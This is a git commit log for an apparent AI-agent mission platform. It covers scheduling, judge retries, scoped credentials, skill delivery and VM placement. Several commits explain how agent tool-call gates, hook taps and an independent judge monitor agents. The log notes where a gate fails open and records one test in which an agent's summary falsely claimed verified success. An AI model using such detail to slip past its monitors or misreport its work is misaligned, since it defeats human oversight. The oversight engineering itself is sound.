248948cc847b4d229291fa65785d940b02fd36ca
81
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
248948cc84 |
fix: three things that were known and written nowhere
All three have the same shape — the system learns something and only stderr
hears it — and each was flagged in the handoff as a silent-discard defect.
The gate's install outcome. `container_tool_hooks::install` returned Some or
None and both call sites wrote `let _ =`. A mission whose gate never installed
left a record indistinguishable from one whose gate stood there and matched
nothing. `EnsuredContainer` now carries the outcome to the callers that have a
pool, and they record `gate.installed` (with the settings path) or
`gate.absent` on the mission, so "was this mission gated?" is answerable from
the mission.
The inert marker. `vm_tool_gate` writes an `inert` file when it cannot parse
its input and allows everything, precisely so an inert gate does not look like
a permissive one. The only reader was a unit test. `drain_inert` now reads and
clears it at every tap drain, and a `gate.inert` event with the occurrence count
lands beside the calls that ran unchecked.
The judge's spend. `LlmEvent::Usage` arrived on every judge call and was
matched by `Ok(_) => {}`. Two plan exhaustions (2026-08-29, 2026-09-09) with
no row anywhere saying a judge token had been spent; `usage_events` had no
provider or model column. The loop now accumulates requests and tokens onto the
Verdict — counting a request BEFORE the stream opens, so a 429 the provider
refused still counts, because the retry storm was made of those — and
`record` writes a `kind = 'judge'` row with provider, model, mission and
request count. Migration 0085 adds the columns, all nullable, so the two
existing writers are untouched.
Tests: a scripted-provider verdict records one request and nonzero tokens; a
provider that refuses still records the request and zero tokens.
Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz
|
||
|
|
8d6310f126 |
fix(judge): stop asking an exhausted plan the same question 180 times
The retry ran on the sweep's own 10s tick for a 30-minute window, so a phase whose judge was unreachable re-judged up to 180 times. A verdict is not one request either: `evaluator` is agentic and loops up to `MAX_TOOL_CALLS + 1` rounds, resending the whole growing history each time, against evidence the code's own comment sizes at ~120 KB. One unjudgeable phase could therefore issue on the order of 2,000 model requests. That is most of why the z.ai weekly plan kept emptying with no mission having visibly done anything expensive — twice now, 2026-08-29 and 2026-09-09. Nothing recorded it, because `usage_events` carries no provider or model column. Two changes: Read the error before retrying. z.ai answers an exhausted plan with a 429 carrying code 1310 and its own reset timestamp. Retrying that is arithmetic, not optimism: the reset was two days out and the phase spent its whole window asking anyway. It now fails immediately and says which problem this is — "the judge provider's plan limit is exhausted until 2026-09-11 10:01:33" sends you to the plan, where "the independent validator could not be reached" sent you into the mission. The classifier is deliberately conservative; anything that does not positively identify itself as an exhausted plan stays retryable, because giving up on a transport blip costs a phase that did nothing wrong — which is how mission 01a011bf lost its script phase. Back off. Waiting as long as we have already waited doubles total elapsed per attempt, so the schedule is exponential with no attempt counter to store: 10, 20, 40, 80, 160, 300, 300 … — about ten attempts in the same window instead of a hundred and eighty. `judge_retry_after` holds the clock and the sweep's SELECT honours it; a landed verdict clears it alongside `judge_blocked_since`. Verified rather than asserted: the migration applies and rolls back against a real postgres, and replacing the backoff with the old fixed tick makes `the_backoff_is_exponential_and_capped` fail (181 attempts, not ~10). Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz |
||
|
|
2f1a870949 |
feat(skills): a skill that must be read cannot be left to be noticed
The `index` arm hands an agent a list of uris and trusts it to fetch what applies. Measured on the first A/B pair, that is mostly what happens — each agent fetched the skill bound to its own role and no other, which is the result that made Trigger observable at all. `workspace-repo-commit-protocol` is the case it fails on. It scored Trigger=FAIL beside a PASSING boundary check: the rule was live and unread. A procedure that applies to everyone who writes reads as nobody's in particular, so no agent recognises it as theirs and no agent fetches it. Upstream ZeroClaw arrived at the same place from the other direction and gave its compact injection mode an `always: true` frontmatter escape hatch (#9520). This is that hatch as a column: `skills.always_inject`, default FALSE, so nothing changes for an existing skill and the inline arm is untouched either way. Two halves, because delivering it and scoring it are different mistakes: - Delivery: under `Index`, an `always_inject` skill renders its BODY. - Scoring: the arm belongs to the PROMPT and `always_inject` belongs to the SKILL, so the scorer now asks per skill which one it got. A skill whose body is in the prompt was handed over, and a Trigger miss cannot be charged against an agent that was never asked to fetch anything. `skill_was_indexed` reads that off the rendered prompt via `READ_IT`, a constant now shared with `index_entry` — two spellings of one marker is how a detector quietly stops detecting. Suite: 108 binaries, 840 tests, green. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz |
||
|
|
f52cff3e04 |
feat(skill-use): progressive disclosure, as an arm and not a switch
Trigger — did the agent reach for the skill when it applied? — cannot be measured while every body is inlined into the prompt. Nothing was reached for. `skill_use` has been reporting `NotObservable` for that reason, and it was right to. The skills door made retrieval possible; this makes it a delivery arm. `index` sends each pinned skill's name, description, `when_to_use` and the uri that returns its body, and the agent fetches what it judges relevant. `inline` is unchanged and stays the default. An A/B rather than a switch, because `index` can only cost Compliance: under `inline` the procedure sits in front of the model whether or not it noticed it applied. Trading a measured axis for an unmeasured regression in another is not an improvement, so both arms stay runnable and the arm is recorded on the mission row. Three things the mechanism refuses to do: - `index` without a door falls back to `inline`. An index names bodies and says how to fetch them; with no `clawmates_skills` server reachable that is a list of dead ends, and it fails as an agent ignoring its skills rather than as a missing config. `install_skills_door` now returns whether it installed, because the caller needs the answer and not just the log line. - The scorer reads the arm off the recorded PROMPT, not off the mission row. The row says what the mission is configured to do now; the score is being computed against a turn that ran then. - Under `index`, a skill that was offered and never read is a Fail, not the inline arm's `NotObservable` — but only where the skill had a checkable consequence in that phase. Reusing the inline text would have said "this skill was inlined into the prompt" about a skill whose body was never sent, and scoring a real miss as a structural blind spot is the failure this measurement already made once. The arm is per mission (`config.skill_delivery`), not only per deployment. Both arms run against one server process; restarting between them would put a confound in the comparison that the numbers would not show. 829 tests, 108 binaries, green. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
|
2668191e30 |
feat(auth): a credential narrow enough to hand to an agent
`docs/TOOL-CALL-ARCHITECTURE.md` §3 calls deploying the MCP door "config, not code". It is not, and the reason is authentication. `/mcp/skills` authenticates with `AuthService::authenticate`, which returns a full `AuthedUser` carrying the user's role. There is no narrower credential in the system. So pointing a mission container at the door means writing a bearer token into a file inside that container — and mission agents run arbitrary `Bash` with egress and no read gate, which is this platform's own documented security posture. An owner-scoped token there turns "the agent runs commands in a sandbox" into "the agent drives the whole ClawMates API as the owner". Checked before building this rather than assumed: no such credential is in a mission container today. The runtime's config.toml has no `[mcp.servers]` block and no bearer, so the door would have been a NEW exposure, not an existing one. So: `auth_sessions.scope`, defaulting to `full`. `authenticate` now delegates to `authenticate_scoped(token, SCOPE_FULL)`, which means **every existing caller rejects a narrow token** and a route must opt in by naming the scope it accepts. `/mcp/skills` is the only opt-in. Fail closed on purpose. The likely mistake here is adding a scope and forgetting to wire its check; this way that mistake grants nothing rather than granting everything. `mint_scoped` refuses to mint a `full` token — a caller reaching for it wants a narrow credential, and handing back a full one because an argument was wrong is exactly the failure the column exists to prevent, and it would be invisible because the token would work. The test that matters is not that the door accepts the token, it is that nothing else does. Negative-controlled: removing the scope comparison fails `a_scoped_token_is_refused_by_every_unscoped_caller`. `.sqlx` regenerated — `authenticate` is a compile-checked query and CI builds with SQLX_OFFLINE=true. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_018i9Ten1LU4jUr5d7TAWda9 |
||
|
|
769e002bb3 |
feat(skills): deliver on every tier, record what agents receive, let them self-author
Three phases of the approved plan, plus a correction to what the last one
claimed.
CORRECTION: skills reached ONE tier, not all of them
The previous commit said "skills can now reach a mission agent". That was
true only for the container/ZeroClaw tier — the fall-through that queues a
topology_runs row for topology_worker, which drives the executor that was
patched. compose_turn_prompt/pinned_skills_text had exactly one production
caller, and phase_runner's three other paths (composed microVM, solo
microVM, direct session) never called it. CAPABILITY-REVIEW.md said the
broad thing too; both are corrected.
Those three tiers share one task string and have no per-turn alias, so
their skills resolve per PHASE from the mission's crew and are appended
there. The container tier deliberately still injects per turn, with the
running node's own role — appending in both places would put every crew
member's skills in every turn twice.
The behavioural tests prove phase_skills_text and compose_turn_prompt work.
They cannot prove the three launch_* calls pass the composed string, and
that substitution is a one-word edit that would silently return all three
tiers to delivering nothing with every test still green. So there is also a
source-level assertion on the call sites, following the precedent in
mission_events::the_cap_is_enforced_in_one_statement. Its negative control
names the exact tier.
PROVENANCE: what an agent received, and what it said it did
Both were unanswerable. The prompt was never stored anywhere on any tier —
re-deriving it later re-runs the skill lookup against a catalogue that has
since changed, and once agents author their own skills it certainly will
have. The reasoning rows were durably write-only: pushed live once, then
never read from the database again by anything except the GC that deletes
them.
- prompt.composed records the exact bytes, on all four tiers
- the session tier writes its checkpoint record and a reasoning row,
instead of eprintln! and nothing — the same defect the solo microVM
path was fixed for, in the last tier that still had it
- narrative_for_mission reads both back
Found while doing it: the 400-event per-phase cap counted EVERY kind, so a
busy phase could push out its own phase.completed and its own provenance.
The cap now counts only the two unbounded kinds it was written for.
Negative control confirms the old behaviour dropped the prompt.
Retention is now a per-mission hold (0080) rather than a raised global —
with a test asserting unheld missions are still reaped, because an
exemption that applies to everything is not an exemption.
SELF-AUTHORING: agents apply their own skill drafts, no human click
By operator decision. level_up has generated complete drafts from a model
since it shipped; only a checkbox stood between propose and apply.
What replaces the gate is not another gate but four properties, each held
by a test:
- workspace-scoped, so a hand-authored skill can never be modified
- a draft cannot take a hand-authored skill's name. Ids are scoped and
bindings resolve by skill_id, so it could not overwrite or shadow one
anyway — but two procedures under one name means nobody reading a
transcript can tell which the agent followed, and that ambiguity is
fatal in a system where the skill is the standard being graded against
- every revision appends a skill_versions row, so it can be reverted and
a past run can be read against the text it was actually judged under
- approved_by = NULL. An agent's decision is never attributed to a person
who did not make it
Only skill_candidate applies autonomously. identity_refinement and
brain_consolidation still wait for a human: they change what an agent IS
rather than adding a procedure it can consult. State is announced at boot,
because a safety gate that changes silently is one nobody notices changed.
CLAWMATES_SKILL_SELF_AUTHORING=0 restores it.
Also: the test Postgres ran out of /dev/shm mid-suite (Docker's 64MB
default) and surfaced it during MIGRATIONS, which reads like a schema fault
and is not one. --shm-size=1g, and a pointer to the `clean` subcommand that
already existed for the 779 leaked test databases.
Full workspace suite green: 106 binaries, no failures.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
|
1f39f642a3 |
feat(podcast): render finished missions into episodes, and serve them as a feed
The renderer existed but nothing called it. This wires it to the missions and puts the result somewhere a phone can reach. **A sweep, not a phase step.** Rendering is not the agents' work and must not be able to fail a phase that succeeded; a transient API error simply retries next tick, and a mission already rendered is skipped because its episode row exists. `podcast_episodes` is that record — without it the sweep would re-render on every pass and re-bill for it, the same lesson `corpus_items` taught for papers. **It is racing a reaper.** script.md lives in the mission checkout, and `mission_runtime`'s sweeper deletes that tree 30 minutes after the mission reaches a terminal state. So the sweep runs every 2 minutes, leaving ~15 attempts inside the window. When it does lose — as it did for three missions that had completed hours before this shipped — it now SAYS so and records a marker rather than skipping in silence, which is how a feed ends up quietly missing a day. The feed filters those markers out: a zero-byte enclosure shows a broken episode in a podcast app, where showing nothing is honest. **Duration is read from the audio, not estimated from the script.** The feed advertises a length and that length should be the real one — and it is the check that catches a 6 MB file playing for six seconds. **The feed authenticates by query-string token**, because no podcast app can set headers. That is a real trade: the token lands in the app's database and any proxy log. It reuses `AuthService::authenticate`, so revoking the session revokes the feed with it rather than creating a second secret to forget to rotate. Titles are XML-escaped — one raw ampersand makes a client reject the WHOLE feed, not one episode. 363 tests pass. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
|
d524107b37 |
fix(missions): harvest before the checkout, and stop an unreachable judge failing done work
Two bugs from the first real Continuous Research run, both found by running it. **1. The harvest ran AFTER the checkout.** `on_launch` cloned the vault and then harvested, so the mission's working copy predated the manifest push. The reader agent found no `harvest.jsonl` and — being resourceful — queried arXiv itself and wrote its own. That is exactly what `skills/research/arxiv-daily.md` forbids: the papers it found are not checked off in `corpus_items`, so the next run re-offers them, while the 13 the real harvest DID shelve went unread. The harvest now runs first, so the clone contains the manifest. The analysis it produced was otherwise very good — it named `crates/clawhdf5-ann/src/hnsw.rs`, cited the ROADMAP's serial insert loop and proposed a concrete pre-build probe — which is the behaviour the whole design is for. It was reading the wrong papers. **2. An unreachable judge consumed a pass.** `Verdict.error` exists to distinguish "could not judge" from "judged incomplete" and nothing acted on it. glm-5.3 returned "transport error: error decoding response body", the phase counted it as a failed pass, and with two budgeted that single outage failed a phase whose work was done and committed. The evaluator was right to refuse a same-family fallback — that would trade independence for availability — so the fix belongs here: an unreachable judge no longer spends an iteration. Retrying forever would trade a wrong failure for an invisible hang, so the wait is bounded by `judge_blocked_since` (migration 0078), mirroring how `capacity_blocked_since` bounds a phase waiting on a VM slot. Thirty minutes is many sweep ticks, so a blip recovers inside it; past that the phase FAILS with the transport reason rather than requeueing, because re-running spends a container re-doing work that was never the problem. 346 tests pass. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
|
f87853ecf9 |
fix(missions): scheduled missions never fired — nothing read missions.schedule
The wizard has collected a cron since `0047_missions.sql` ("schedule JSONB
carries the trigger config (cron | one_shot | on_event)"), the frontend posts
`{kind:"cron", cron}`, and the API persists it faithfully. Nothing has ever read
it back: the only due-work enumerator in the codebase was `routines::claim_due`.
So every scheduled mission ever created sat in `draft` forever while the UI
reported it was on a schedule.
Proven before fixing, on the shipped build: a mission with `* * * * *` sat in
`draft` for 4m34s and started ZERO topology runs. After this change the same
mission launched on its next occurrence and recorded one `fired` row.
Two pieces were missing, and they are the two `routines` already had:
- `missions.next_run_at` — schedule STATE. `schedule` is user intent and stays
untouched; without somewhere to record which occurrence is owed there is
nothing to put a `<= now()` predicate on, which is why no enumerator could
be written against the JSONB alone.
- `mission_fires` — one row per (mission, occurrence). 0063_routine_fires.sql
called this exact case: "For a scheduled *mission* it costs a container, a
repo checkout, and real money — which is why this lands before mission
scheduling does."
`mission_schedule.rs` deliberately mirrors `cm-scheduler`'s shape rather than
inventing a second one: atomic `FOR UPDATE SKIP LOCKED` claim, reschedule
BEFORE dispatch so a failing launch cannot stall the clock, claim the slot
before launching so a crash mid-launch is retried rather than dropped, and a
fan-out cap. The cap is 5, not the scheduler's 25, because a mission firing is
a container and a checkout where a routine firing may be one turn.
The claim skips `status = 'running'`: a daily cron on a mission that takes
longer than a day must skip the occurrence, not stack a second crew on the same
workspace. Launch goes through `mission_orchestrator::on_launch` +
`missions::set_status`, the same path as the draft→running transition, so one
code path mints a crew. An unattended launch acts as the workspace owner
(`users::owner_of_workspace`) since missions carry no creator column; a
workspace without one settles the occurrence `failed` with the reason rather
than dropping it silently.
Backfill blast radius was MEASURED, not assumed: prod has zero missions with a
cron, this workstation had exactly one — the control created to prove the bug.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
|
6e8785f159 |
fix(missions): a server restart no longer kills a running mission
Mission 01a00538 ("ClawHDF5 REsearch and Refactor") failed 19 minutes and 93,762
tokens into its research phase with `pair failed: 403 Forbidden`, and its coding
phase was then correctly skipped as unreachable. The cause was not the coding
phase and not the model — it was pairing.
A per-mission runtime is authenticated with a SINGLE-USE pairing code, and the
bearer token it returns was cached in memory only. Any restart of the server
discarded that token; the next turn re-paired with a code the gateway had
already spent and got 403 — permanently, for that mission. A deploy, a crash or
an OOM would each do it. The durable-run machinery exists precisely so work
survives a restart; pairing was the one thread that did not, and it failed
closed.
`missions.runtime_token` persists the token at the moment pairing succeeds, and
the worker seeds the executor's cache from it, so a new process reuses the
credential instead of re-pairing. Persisting is best-effort: failing to save
must not fail a turn that just paired successfully.
Verified by reproducing the original failure: launched a mission, confirmed the
token was written, restarted the server MID-PHASE, and watched the mission run
to completion with no pairing failure.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
|
9e61e3ba35 |
feat(viz): what the agents actually did, as structured events
The World could draw a mission's shape but nothing about the work. The
detail existed only as prose in checkpoint.log and model output, where a
tool name is indistinguishable from an agent *talking about* a tool — so
it was never parsed, deliberately. `mission_events` is the structured
channel that replaces it.
Three taps, one table:
- Container tier: the `_ => {}` at the end of topology_exec's typed frame
stream now matches `tool_call` and reads the tool's JSON ARGUMENTS for a
path. Never the prose summary — a path scraped from a sentence would put
files on the map that no agent opened, and the test proves a Grep whose
summary says "src/main.rs" produces no file touch. The frame name itself
is unverified, so the same commit ships an unmatched-frame-type
histogram: a tap that matches nothing looks exactly like a mission that
used no tools, and this is how one gw-04 run names the real frame.
- microVM tier: a `PostToolUse` hook, the seam vm_stop_gate already proved
fires under `claude -p`. It copies stdin to /root/tap and exits 0
unconditionally — a non-zero PostToolUse hook talks back to the model,
which would turn the observer into a participant. Drained before collect,
since the VM is destroyed moments later.
- Phase transitions: five identical copies of the pending→running UPDATE
became one `mark_phase_running`, and `close_finished_phases` grew
RETURNING. Its CASE decides each phase's status inside SQL from rows the
statement does not change, so it cannot be re-derived afterwards without
writing that CASE twice — without RETURNING it emits zero phase.completed
and reports success.
The settings.json hazard the plan called out: the stop gate wrote the
WHOLE document, so a second hook writer would have silently erased it and
a coding phase would then complete having written nothing — the exact
failure the gate exists to catch. There is now one composer,
`vm_tool_tap::guest_settings`, one writer, and a source-walk test that
fails if anything else writes a settings document.
`mission_events.run_id` carries no FK on purpose: phase_runner DELETEs
topology_runs on retry, and a cascade would erase a phase's whole history
the moment it retried — silently, since a cascade is not an error.
world.rs streams it with a cursor that separates backfill from motion.
Everything already in the table when a subscriber arrives is drawn as
settled history; only what lands afterwards animates. Otherwise opening a
finished mission replays an hour of tool calls as a burst storm.
Bounded twice: 400 events per phase (enforced inside the INSERT, since
two concurrent taps would each read a count below the cap) and a 7-day
retention sweep in mission_gc.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
|
4fedfcec30 |
fix(placement): a young VM's unconsumed memory was handed out twice
The capacity harness scenario, on its first full run, caught what it was written to catch: capacity: architect peaked at 6 of 6 slot(s) FAIL capacity: 'morpheus' peaked at 3 concurrent VM(s) with only 2 slot(s) capacity: tank peaked at 6 of 6 slot(s) PASS capacity: the over-capacity missions QUEUED PASS capacity: all 16 queued/placed missions completed `capacity_of` inferred the host's own footprint by subtracting the VMs' FULL 8 GiB claim from observed usage — which assumes they have already consumed it. A VM booted seconds ago holds about an eighth. On morpheus (31757 MiB total, 4314 MiB idle, 2 slots) with 2 young VMs at ~6314 MiB observed, the inference 6314 - 16384 goes negative, clamps to the 2048 floor, and invents 2266 MiB — exactly enough for a third VM on a two-slot node. The footprint is only honestly MEASURABLE when nothing is committed, so remember it then: `nodes.mem_baseline_mib`, sampled by `survey` whenever it observes an idle node with fresh health. When VMs are committed, take the LARGER of the remembered reading and the old inference — a node that was once idle at 4 GiB and is now running a 20 GiB build must not be scored as idle, which would be the same over-commit arrived at from the other direction. Both directions have a test; the second is the one that would otherwise rot. Raising HOST_BASELINE_FLOOR_MIB would have made this one node's numbers pass and drifted the moment the fleet changed shape. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
|
d84d17207f |
feat(placement): place per phase, and let a full fleet queue
Phase 1b: wires the capacity model from
|
||
|
|
a33dbdcdc3 |
feat(missions): W1/#13 — let a model author the mission's phases
The last unstarted item from the missions-as-workflows plan, and the other half
of Slice 5: that one lets a model size the TEAM, this lets it decide what the
work IS.
Every mission's phases come from one of five hand-written recipes in
`templates/workflows/*.toml`, chosen by `template_kind` before anyone saw the
mission. That is the "do it this way: 1, 2, 3" over-specification that makes a
capable model follow a worse plan than it would have chosen. The recipes stay —
they are still the default for a mission nobody proposes a plan for, and the
fallback when a proposal is refused.
Same three verbs and the same review gate as the roster, deliberately: propose
and decide are separate because only the second changes a mission, and a second
shape would be a second thing to get right. Approving REPLACES the phases (a
plan is an answer to "what is this mission", not an addition to one), draft-only.
GROUNDED IN WHAT THE PLATFORM ACTUALLY READS, which is the part that makes this
more than a copy. `phase_config::KNOWN_KEYS` already names every phase-config key
and the code that reads it — the registry built after `task` sat unread through
every mission. A plan is validated against it, so a model cannot propose a phase
whose settings nothing will act on: the failure that registry exists to EXPOSE is
one this path cannot create. Phase kinds are checked the same way, because an
unknown kind does not error — it falls through to the catch-all purpose and runs
as a generic phase that looks like it worked.
TWO THINGS THE WORK ITSELF FOUND, both the same shape:
- `done_when_check` — the stop-gate key added earlier today — was never
registered in `phase_config`, so every mission that set it has been logging
it as an unknown key. Found by a test written for a different purpose, which
is the registry doing exactly its job. Now registered with its reader.
- `done_when` and `max_iterations` are COLUMNS promoted out of config by
`missions::create`; the evaluator sweep filters on the column in SQL every
tick. My first insert wrote the config blob alone, which would have stored a
plan's completion condition where nothing judges it. NEGATIVE CONTROL run:
binding NULL instead of the promoted value fails
`an_approved_plan_replaces_the_missions_phases`.
`order_idx` comes from the array's own order rather than a field the model sets:
two sources for one fact is how a plan ends up with two phase 0s, and order_idx
is what `start_pending_phases` sequences on.
MAX_PHASES is 4 and the prompt argues for one. Each phase is a full agent run in
sequence, and splitting one change into plan → implement → test is the documented
anti-pattern — a single agent doing all three keeps the context that makes the
later steps good.
543 tests pass, clippy clean. Migration 0072.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
|
f7f3dfe495 |
feat(fleet): GLM as a real microVM backend, and per-role models for claws
Three threads, all of which end at the same place: a mission whose verifier does
not share a model with the coder it reviews.
**GLM has a credential contract now.** `microvm_credential_for` returned one env
var name, which quietly assumed every provider reads its secret from the same
place Anthropic does. It returns a `Credential { source, target }` instead —
z.ai's key lives in the server's `ZAI_API_KEY` and Claude Code reads it as
`ANTHROPIC_AUTH_TOKEN`, and collapsing those two names is what forces a guess at
the other end. A wrong guess here sends one provider's credential to another
provider's endpoint.
`images/agent-glm` is the same CLI at the same pinned version as `agent-claude`
with `ANTHROPIC_BASE_URL` baked in. The split is deliberate: the ENDPOINT is a
property of the image, the CREDENTIAL is a property of the turn. That makes the
dangerous mix-up unrepresentable — a GLM VM cannot be handed an Anthropic
subscription token, and a claude VM cannot be pointed at z.ai. Asserted both
ways, because "the GLM VM must not carry CLAUDE_CODE_OAUTH_TOKEN" is the
property that costs a credential if it ever stops holding.
Kimi stays refused. `KIMI_API_KEY` is set and Moonshot serves an
Anthropic-compatible API, but I have not verified its base URL against the
running service, and this function is precisely where guessing a URL is
expensive. It becomes an arm the day someone measures it.
`api.z.ai` joins the node's default egress allow-list. A default that cannot
run the images we ship is a trap rather than a policy — the alternative is an
operator discovering it as a hung agent with no model access.
**Per-role models for claws** (migration 0071). `template_roles` had no model
column, so `mint_team_from_template` bound every role of every mission team to
one literal — a template whose whole point is an independent reviewer minted a
reviewer sharing a model with the coder. A role may now name its own; roles that
say nothing still take the mint's default, so every template written before this
behaves exactly as it did. The literal is now that default rather than a
hardcode.
**A harness scenario for the roster flow.** `verify-mission-delivery.sh roster`
runs the whole Slice 5 loop — planner proposes, human approves, mission runs —
and asserts the roster LANDED on the mission row rather than trusting the API's
answer. That distinction is not theoretical: the first live approval returned an
error while leaving the proposal marked approved.
Built and proven on tank ahead of the deploy: `clawmates/agent-glm:dev` reports
`2.1.223` and `BASE=https://api.z.ai/api/anthropic`, and
`fc-build-rootfs.sh … glm 8G` boots a VM from it that has git, can write
/mission, and answers `claude --version`.
533 tests pass, clippy clean. Migration 0071.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
|
1797669296 |
feat(missions): Slice 5 — let a model size the mission's team
`routes/planner.rs` has had Opus proposing rosters since the Master Planner
shipped, and none of it ever reached a mission: the proposal lived in React state
and died with the tab. A mission's shape came from a team template instead —
fixed roles, and every claw minted `claude-sonnet-5` from a literal in
`mint_team_from_template`. That literal is why no mission has ever run more than
one provider.
A roster is `(topology_kind, [(role, backend)])`, which is exactly what the
composed executor already consumes: `Roster::graph` builds a `TopologyGraph` with
the backend in `attrs`, and `MicroVmTurnExecutor` reads `attrs["backend"]` per
node. So a verifier on another provider's rootfs stops being a bolt-on and
becomes a graph node — the correlated-failure break the independent judge exists
for, one layer down.
Three verbs, and the split is the point. **suggest** asks the model and persists
the answer, changing nothing. **decide** approves (writes `config.roster` and
switches the mission to the composed engine) or rejects. A proposal is never
applied on arrival: a model sizing a team is a suggestion about how many VMs to
boot, and this codebase treats model output that costs money as evidence for a
decision, not the decision.
Fail-closed at every seam, because each of these otherwise surfaces much later
and much more expensively:
- a backend no ONLINE node can boot is refused when PROPOSED, naming the ones
the fleet actually has. Placement would refuse it too — at launch, after the
roster was approved and someone believed the mission would run. The model is
handed that same list in its prompt, so the usual case never arises.
- an invented `topology_kind` is refused, not defaulted. `parse_topology_kind`
defaults to hub-spoke, which is right for a template we wrote and wrong for a
string a model just produced: running a `pipeline` proposal as a hub-and-spoke
changes what every node sees and nothing would say so.
- the roster is validated BEFORE it is stored, so a stored proposal is always
one that could be approved; and again at approval, against the fleet as it is
then — a node can go offline in between.
- `MAX_MEMBERS = 6`. Each member is a whole VM, not a subagent, and a model
asked to size a team proposes twelve happily.
Two properties live in SQL rather than in the handler: at most one approved
roster per mission (partial unique index — two approved rosters are two answers
to "what shape is this mission", and the executor reads one field), and
decide-once (`WHERE status = 'proposed'`, so a double-clicked approve claims
nothing the second time). Both tested against a real database, including that the
second approval is refused by Postgres rather than merely losing a race.
NEGATIVE CONTROL, run rather than assumed: with the roster preference removed
from `composed_graph`, `an_approved_roster_outranks_the_template` FAILS — 3 nodes
from the template instead of the roster's 2. A stored roster that is silently
ignored at launch is precisely the shape this project keeps paying for.
Not closed: per-role models for CLAWS. `template_roles` has no model column, so a
ZeroClaw team still mints one model for every role. The literal is now a named
constant that says so and points at the roster path, rather than sitting inline
where nobody reads it.
527 tests pass, clippy clean. Migration 0070. Not yet exercised against the
deployed stack — the route has never been called with a live model.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
|
cb48f7ff3b |
feat(missions): Slice 3 — agent teams behind a per-mission switch, solo by default
`missions.team_engine` (0069): NULL = solo, `'claude_code'` = Claude Code agent teams inside the mission's VM. Solo stays the default deliberately — Anthropic measure multi-agent at 3-10x the tokens with wall-clock often LONGER, since the benefit is thoroughness rather than speed — so a mission that said nothing does not get a team. In-process teammates live in the lead's process, so ONE VM hosts the whole team. That is why this is a prompt-and-env change rather than an orchestration one: no N-VM fan-out, no placement per teammate, no new completion path. The lead decides its own team size and there is no flag that limits it, so the cap (4) is stated in the prompt. The addendum also carries the two anti-patterns from Anthropic's guidance, because they are exactly the shapes our pipeline templates have: teammates must own DIFFERENT FILES (two in one file overwrite each other), and one change must not be split into stages across teammates (a handoff loses context at every step). And: wait for your teammates — a summary written before they report is the lead's own guess. A solo mission's prompt and env are byte-identical to before this change. That is enforced by test, not by intention: the comparison between solo and team is only meaningful if the solo side did not also move. Evidence, because a team mission that forms no team is silently just a solo run that looked fine and spent fewer tokens: a second probe counts members in `~/.claude/teams/*/config.json` (minus the lead), reported separately from the subagent count, and a team mission with zero teammates logs loudly with the two likely causes. The teammate path is DOCUMENTED BUT NOT YET VERIFIED in our image, unlike the subagent transcript path which was measured — so a zero there means "no evidence found", and the first real team mission is what turns it into a fact. `Option<u32>`: None means no team was asked for or the probe could not run. Hooks (`TaskCompleted` / `TeammateIdle` exit 2, which would move `done_when` from post-hoc into the agent's own loop) are the highest-value part of this slice and are deliberately NOT here — they deserve their own pass rather than a rushed tail. 482 tests pass, clippy clean. |
||
|
|
c840688adb |
feat(missions): choose the independent validator per mission (#53)
`CLAWMATES_VALIDATOR_MODEL` is deployment-wide, so proving Slice 2 put a second
provider on the critical path of EVERY phase verdict. `cross_provider_judge`
deliberately does not fall back when the independent judge fails — a verdict
quietly produced by a same-family model would claim a property it does not have —
so a z.ai outage makes phases unmeetable rather than merely unverified. That is a
per-mission trade, not a per-deployment one.
`missions.validator_model` (0068), settable at create, with three distinct states
because an empty string and NULL mean opposite things in a nullable text column:
NULL use the deployment default
'' explicitly NO independent validator — judge with the house model.
The default must not quietly reinstate independence a mission was
told to skip.
'glm:glm-4.7' this spec, subject to the same three refusals as before:
same-family rejected, unregistered provider rejected, and a failed
independent judge does not fall back.
Whitespace counts as empty: a column hand-set to " " meant to say nothing.
478 tests pass, clippy clean. Behaviour is unchanged for existing missions — they
have NULL and so keep following the deployment default.
|
||
|
|
bb807c2f3a |
fix(missions): an unmet goal condition is no longer reported as success
Found by the Goodhart test for the independent judge, which is exactly what it was built to find. The test: a phase whose `done_when` demanded a passing suite, and a task that deliberately left a failing test. glm-4.7 judged it, ran `cargo test` itself, saw `parity_is_wrong_on_purpose ... FAILED` (exit 101), and returned met=false quoting the assertion — while the agent's own summary said "All three steps are implemented exactly as specified and independently verified". The verdict and the agent's account diverged, which is the whole point of an independent judge. And then the mission closed `completed`. `if verdict.met || last_pass` marked BOTH outcomes completed, so a phase that ran out of passes without ever meeting its condition reported success — and through `close_finished_missions`, so did the mission. The verdict said met=false in a column nobody reads before believing a green status. Anything consuming mission status rather than digging into the verdict saw a goal that was never reached as a goal achieved. Exhausted-and-unmet is now `failed`, and the log names the judge and whether it was independent. This changes observable behaviour: missions that would previously have finished green with an unmet condition now finish failed. That is the correction, not a regression — but it is worth knowing before the next scheduled run. Also: `Verdict.independent` had no column. The field existed in the struct and in the logs, so the audit question the mechanism exists to answer — was this checked by something other than the model that wrote it? — could not be asked of the database. Migration 0067 adds it, defaulting to false, which is the truth about every row written before now. Verified in production before the fix: glm-4.7, 4 checks all executed, the real cargo failure quoted, met=false. 475 tests pass, clippy clean. Note for whoever rebases: `sqlx::migrate!` embeds migrations at COMPILE time, so a new migration needs cm-db rebuilt (`touch crates/cm-db/src/lib.rs`) or the integration tests fail on a column that exists in the file and not in the binary. |
||
|
|
6687f8b808 |
feat(fleet): B4.3 — per-mission rootfs selection (missions.backend)
